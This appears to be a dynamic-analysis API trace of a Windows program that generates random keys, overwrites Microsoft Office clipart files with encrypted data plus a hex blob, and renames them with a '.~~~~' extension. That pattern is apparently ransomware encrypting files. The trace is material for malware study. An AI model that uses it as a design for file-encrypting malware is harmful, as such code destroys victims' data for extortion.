	[0117.758] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.758] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.758] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.758] CloseHandle (hObject=0x148) returned 1
	[0117.758] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.758] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPACE_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\space_01.mid.~~~~")) returned 1
	[0117.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.760] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.760] GetLastError () returned 0x0
	[0117.760] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.761] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.761] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.761] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.761] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.761] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23775160915) returned 1
	[0117.762] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafaeb330, dwHighDateTime=0x1d60e1e)) 
	[0117.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9028
	[0117.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9028 | out: hHeap=0x300000) returned 1
	[0117.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.762] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2dd0
	[0117.762] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.762] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.762] GetLastError () returned 0x0
	[0117.763] GetLastError () returned 0x0
	[0117.763] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.763] GetLastError () returned 0x0
	[0117.763] GetLastError () returned 0x0
	[0117.772] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffe5d4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.772] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x1a2c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x1a2c, lpOverlapped=0x0) returned 1
	[0117.775] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.775] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.775] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.775] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.775] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.775] CloseHandle (hObject=0x148) returned 1
	[0117.775] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.775] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.~~~~")) returned 1
	[0117.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.777] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.777] GetLastError () returned 0x0
	[0117.778] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.779] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.779] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.780] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23776991272) returned 1
	[0117.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafb11490, dwHighDateTime=0x1d60e1e)) 
	[0117.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9060
	[0117.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9060 | out: hHeap=0x300000) returned 1
	[0117.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.780] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.781] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28b2e68
	[0117.781] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.781] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.781] GetLastError () returned 0x0
	[0117.781] GetLastError () returned 0x0
	[0117.781] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.781] GetLastError () returned 0x0
	[0117.782] GetLastError () returned 0x0
	[0117.796] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffff42a, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.796] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0xbd6, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0xbd6, lpOverlapped=0x0) returned 1
	[0117.798] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.798] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.798] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.798] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.798] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.798] CloseHandle (hObject=0x148) returned 1
	[0117.798] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1f98
	[0117.798] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\STUBBY1.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\stubby1.wmf.~~~~")) returned 1
	[0117.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b1f98 | out: hHeap=0x300000) returned 1
	[0117.800] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.800] GetLastError () returned 0x0
	[0117.800] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.801] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.801] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.802] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23779189398) returned 1
	[0117.802] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafb375f0, dwHighDateTime=0x1d60e1e)) 
	[0117.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e90d0
	[0117.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e90d0 | out: hHeap=0x300000) returned 1
	[0117.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.802] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b1f98
	[0117.803] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.803] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.803] GetLastError () returned 0x0
	[0117.803] GetLastError () returned 0x0
	[0117.803] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.803] GetLastError () returned 0x0
	[0117.804] GetLastError () returned 0x0
	[0117.808] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffc924, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.808] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x36dc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x36dc, lpOverlapped=0x0) returned 1
	[0117.811] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.811] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.811] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.811] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.811] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.811] CloseHandle (hObject=0x148) returned 1
	[0117.812] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.812] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SUMER_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sumer_01.mid.~~~~")) returned 1
	[0117.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.813] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.814] GetLastError () returned 0x0
	[0117.814] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.816] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.816] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.816] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.816] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23780626795) returned 1
	[0117.816] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafb5d750, dwHighDateTime=0x1d60e1e)) 
	[0117.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.816] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9108
	[0117.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9108 | out: hHeap=0x300000) returned 1
	[0117.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.817] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fcbc8
	[0117.817] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.817] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.817] GetLastError () returned 0x0
	[0117.818] GetLastError () returned 0x0
	[0117.818] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.818] GetLastError () returned 0x0
	[0117.818] GetLastError () returned 0x0
	[0117.824] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xffffdecb, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.824] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x2135, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x2135, lpOverlapped=0x0) returned 1
	[0117.827] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0117.827] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0117.827] WriteFile (in: hFile=0x148, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0117.827] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0117.827] WriteFile (in: hFile=0x148, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0117.828] CloseHandle (hObject=0x148) returned 1
	[0117.828] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x29f6880
	[0117.828] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.~~~~")) returned 1
	[0117.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.830] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0117.830] GetLastError () returned 0x0
	[0117.831] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0117.833] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0117.833] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0117.833] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0117.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0117.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0117.834] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=23782381678) returned 1
	[0117.834] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xafb838b0, dwHighDateTime=0x1d60e1e)) 
	[0117.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362420
	[0117.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0117.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0117.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e9140
	[0117.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0117.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e9140 | out: hHeap=0x300000) returned 1
	[0117.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0117.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0117.834] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x29f6880
	[0117.834] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0117.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x282ee48
	[0117.835] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29f6880 | out: hHeap=0x300000) returned 1
	[0117.835] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0117.835] GetLastError () returned 0x0
	[0117.835] GetLastError () returned 0x0
	[0117.835] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0117.835] GetLastError () returned 0x0
	[0117.835] GetLastError () returned 0x0
	[0117.859] SetFilePointerEx (in: hFile=0x148, liDistanceToMove=0xfffffb10, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0117.859] WriteFile (in: hFile=0x148, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4f0, lpOverlapped=0x0) returned 1
